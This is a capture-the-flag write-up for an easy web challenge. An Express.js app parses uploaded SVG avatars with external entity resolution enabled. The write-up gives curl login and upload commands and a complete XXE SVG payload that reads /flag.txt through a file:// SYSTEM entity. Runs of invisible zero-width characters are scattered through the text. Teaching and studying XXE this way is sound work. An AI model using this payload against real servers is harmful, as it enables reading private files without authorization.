← Back to Writeups
CUSTOMEasyWeb

Вектор атаки

XESXOR9/10/20262 min read
#web#custom#easy#file_protocol_abuse#local_file_read#svg_xxe#xxe_injection#linux

Вектор атаки

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: file_protocol_abuse, local_file_read, svg_xxe, xxe_injection

Summary

Task: Express.js app with SVG avatar upload parsed by XML parser with entity resolution enabled. Solution: XXE injection in SVG file to read /flag.txt via file:// protocol SYSTEM entity.

Вектор атаки (Attack Vector) — Bug Makers CTF

Description

Флаг находится в корне сервера в файле /flag.txt. Адрес: http://31.207.77.216:4017

English summary: The flag is located at /flag.txt on the server. The target is a web application at the given address.

The task name "Вектор атаки" (Attack Vector) is a double entendre — SVG is a vector graphics format, and it serves as the attack vector via XXE injection.

Analysis

The target is an Express.js web application with session-based authentication (connect.sid cookie, X-Powered-By: Express header). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Login page provides demo credentials directly on the page: demo:demo. After logging in, the user is redirected to a profile page (/profile) with two features:

  1. A form to set a full name (ФИО)
  2. An SVG avatar upload form (/upload-avatar endpoint) that accepts only .svg files

Key observation: The uploaded SVG content is parsed server-side by an XML parser, and the processed SVG is returned directly in the JSON response (result.svg). This means the XML parser resolves entities before returning the content — a classic XXE condition. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server-side XML parser (likely libxmljs2 or similar Node.js XML library) has external entity resolution enabled, allowing SYSTEM entities with the file:// protocol to read local files.

Solution

Step 1: Login with demo credentials

bash
# Login and capture session cookie
curl -c cookies.txt -X POST http://31.207.77.216:4017/login \
  -d "username=demo&password=demo" -L

Step 2: Craft XXE payload SVG

Create a malicious SVG file with an XML External Entity declaration that reads /flag.txt: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="10" y="50" font-size="12">&xxe;</text>
</svg>

The <!ENTITY xxe SYSTEM "file:///flag.txt"> declaration defines an external entity that reads the local file. When the XML parser processes &xxe; in the <text> element, it replaces it with the file contents.

Step 3: Upload the malicious SVG

bash
# Upload XXE SVG payload
curl -b cookies.txt -X POST http://31.207.77.216:4017/upload-avatar \
  -F "avatar=@xxe.svg;type=image/svg+xml"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Extract the flag

The server parsed the SVG, resolved the file:///flag.txt entity, and returned the flag content embedded in the <text> element of the SVG response. The JSON response contained the flag directly in the result.svg field:

BugCTF{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍